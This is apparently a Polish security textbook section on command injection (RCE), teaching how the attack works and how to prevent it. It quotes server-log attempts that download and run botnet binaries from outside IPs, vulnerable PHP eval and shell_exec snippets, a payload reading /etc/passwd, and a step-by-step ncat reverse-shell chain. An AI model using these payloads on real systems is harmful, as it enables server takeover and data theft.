Podręcznik

5. Wstrzykiwanie

5.4. Wstrzykiwanie poleceń (RCE)

Ostatnią kategorią wstrzykiwań jest wstrzykiwanie poleceń. Jest to rodzaj podatności, który umożliwia wykonywanie dowolnych poleceń po stronie serwera w kontekście użytkownika go uruchamiającego. Z punktu widzenia bezpieczeństwa jest to wyjątkowo niebezpieczna kategoria, która bardzo często prowadzi do przejęcia pełnej kontroli nad serwerem. Mechanizm działania jest identyczny jak poprzednio.

Przykłady takich prób bardzo często znajdujemy w logach serwerów WWW, gdyż skrypty, które automatycznie próbują wyszukać podatności nierzadko działają na ślepo bez sprawdzenia rodzaju serwera po drugiej stronie. Przykładowe próby wykorzystania podatności RCE w kamerach z rodziny StarCAM i routerach NetGear znalezione w logach serwera WWW:

X.X.X.X - - [21/May/2021:07:07:45 +0200] "GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/45.14.149.244/arm7;chmod+777+arm7;./arm7+starcam;wget+http:/\\/45.14.149.244/arm;chmod+777+arm;./arm+starcam
HTTP/1.1" 400 0 "-" "Pe7kata"
X.X.X.X - - [22/May/2021:07:37:33 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.221.184.161:49590/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
HTTP/1.0" 404 558 "-" "-"

Wektory ataku mogą być bardzo różne

  • funkcja eval w środowisku PHP i podobnie działające funkcje w innych językach:
<?php
$name = $_GET["name"]
eval("echo $name;");

wydaje się niegroźnym kawałkiem kodu, ale korzysta z danych od użytkownika i wykonując zapytanie:

http://127.0.0.1:8088/evil-eval.php?name=123;system("ls -al")
otrzymamy listing plików w katalogu wykonania:
Listing plików
  • wykorzystanie mechanizmu wgrywania plików nie kontrolującego poprawnie rodzaju pliku i serwującego zwrotnie wgrane pliki (np. wgranie własnego skryptu). Whitelistowanie rozszerzeń pomaga, ale są techniki obejścia poprzez wspomniane wcześniej kodowanie nazw.
  • uruchamianie zewnętrznego oprogramowania z niezweryfikowanymi danymi
<?php
echo shell_exec("nping -c 1 ".$_GET["ip"]);

oczekiwane zapytanie

http://127.0.0.1:8088/ping.php?ip=194.29.160.106

da oczekiwany efekt

Wynik wykonania polecenia nping

Lecz jeśli je zmodyfikujemy na

http://127.0.0.1:8088/ping.php?ip=194.29.160.106 %26%26 head -n2 /etc/passwd
otrzymamy zdalne wykonanie kodu
Wynik wykonania polecenia z podatnością RCE

Jeśli znaleźliśmy tego typu podatność, to wersja katastrofalna umożliwi nam uzyskanie pełnego dostępu interaktywnego do zdalnej maszyny (reverse shell) w następujący sposób:

  • na własnym serwerze uruchamiamy narzędzie netcat do nasłuchiwania na porcie 4242
    ncat -l 4242
  • a u ofiary wykonujemy zapytanie (poniższe podajemy jako jedna linia w oknie przeglądarki):
    http://127.0.0.1:8088/ping.php?ip=194.29.160.106 %26%26 wget  -O ncat
    https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat
    %26%26 chmod 755 ncat %26%26 ./ncat 10.22.20.1 4242 -e /bin/bash
efektem jest pełny zdalny shell:
Działanie zdalnej powłoki interaktywnej w wyniku podatności RCE

Jak bronić się przed tego typu podatnościami? Podstawową zasadą jest unikanie wykorzystywania niebezpiecznych funkcji, które mogą być wektorem ataku, a jeśli jest to konieczne bardzo ostrożne i dokładne walidowanie danych. Przykładowo, jeśli w naszym skrypcie oczekujemy adresu IP to należy sprawdzić czy przekazywana wartość jest tylko i wyłącznie poprawnym adresem IP.